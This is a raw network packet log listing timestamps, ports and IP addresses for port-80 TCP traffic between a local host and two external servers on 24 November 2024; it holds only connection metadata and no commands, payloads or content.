Nov 24, 2024 12:24:26.601526022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.601694107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.602634907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.602783918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.602832079 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.603660107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.603791952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.604480028 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.604880095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.604984045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.605025053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.605896950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.606048107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.606086969 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.606998920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.607141972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.607178926 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.608114958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.608233929 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.608269930 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.609189034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.609313965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.610408068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.610479116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.610481977 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.611411095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.611581087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.611620903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.612519026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.612581968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.612827063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.613620043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.613746881 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.614765882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.614809036 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.614854097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.615840912 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.615890026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.615940094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.616508961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.616945028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.617108107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.618050098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.618097067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.618201971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.619163036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.619272947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.619321108 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.620265961 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.620378017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.620419025 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.620469093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.620486021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.620532036 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.620862961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.620971918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.621357918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.621402979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.621402979 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.621488094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.621738911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.621831894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.621879101 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.621880054 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.622477055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.622519016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.622529984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.622617960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.623265028 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.623559952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.623668909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.623718977 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.624700069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.624809027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.625804901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.625864983 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.625965118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.626884937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.626924038 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.626948118 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.626959085 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.628030062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.628065109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.628101110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.629101992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.629136086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.631669998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.631728888 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.631772041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.631907940 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.632278919 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.632344007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.632658958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.633234024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.633356094 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.633830070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.634331942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.634433985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.634473085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.634624958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.635507107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.635564089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.636451006 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.636552095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.636642933 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.636684895 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.637690067 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.637737036 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.637871027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.638761044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.638851881 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.638892889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.639873028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.640017986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.640630960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.640964985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.641093016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.641133070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.662766933 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.699701071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.699779987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.699888945 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.779659986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.779716015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.779793978 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.780097961 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.780375004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.780450106 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.781200886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.781356096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.782257080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.782306910 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.782660007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.782869101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.782911062 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.783745050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.783859015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.784434080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.784832954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.784951925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.784992933 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.785954952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.786051989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.786092043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.787054062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.787180901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.787218094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.788188934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.788274050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.788312912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.789242983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.789361000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.790359974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.790427923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.790466070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.791466951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.791467905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.791502953 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.791557074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.792593956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.792598963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.792687893 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.792723894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.793714046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.793828011 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.794795036 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.794836998 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.794876099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.795871973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.795911074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.795993090 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.796864033 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.796987057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.797111988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.798094988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.798139095 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.798185110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.799182892 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.799307108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.799360991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.800316095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.800432920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.800523043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.801516056 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.801610947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.801652908 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.802544117 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.802714109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.802752972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.803772926 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.803878069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.803925037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.804776907 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.804874897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.805841923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.805880070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.805953979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.806992054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.807090998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.807135105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.808056116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.808166027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.808204889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.809148073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.809243917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.810262918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.810306072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.810370922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.811405897 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.811449051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.811464071 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.812561035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.812608004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.812791109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.813585997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.813632011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.813679934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.814435005 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.814852953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.814870119 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.814920902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.815871000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.816001892 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.816617012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.816905975 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.817018032 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.817054987 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.818033934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.818160057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.819108009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.819149971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.819210052 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.820219040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.820328951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.820374966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.821352005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.821439028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.822443962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.822490931 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.822527885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.823522091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.823568106 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.823640108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.824650049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.824692011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.824765921 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.825757980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.825799942 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.825818062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.826596975 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.826634884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.826708078 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.827888012 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.827923059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.828016043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.828479052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.828978062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.829447031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.830015898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.830060959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.830382109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.831069946 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.831197977 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.831239939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.832142115 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.832262993 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.832299948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.833229065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.833472013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.834337950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.834389925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.834460020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.835535049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.835588932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.835589886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.836467028 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.836549044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.836673975 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:26.840476990 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:26.902492046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.902589083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.902873993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.902937889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.902942896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.903101921 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.903793097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.903909922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.904618979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.904629946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.904697895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.904740095 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.905536890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.905594110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.906352043 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.906405926 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.906459093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.907277107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.907459021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.907506943 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.908123970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.908246994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.908485889 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.908999920 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.909121990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.909164906 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.909877062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.910001993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.910732985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.910773993 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.910870075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.911642075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.911703110 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.911780119 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.912558079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.912605047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.912666082 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.912898064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.913394928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.913570881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.914293051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.914341927 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.914386988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.915194988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.915249109 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.915297985 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.916038036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.916165113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.916205883 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.916908026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.917046070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.917778015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.917824984 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.917876959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.918452978 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.918632030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.918723106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.919540882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.919585943 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:26.919637918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:26.920424938 CET	80	49792	34.116.198.130	192.168.2.4
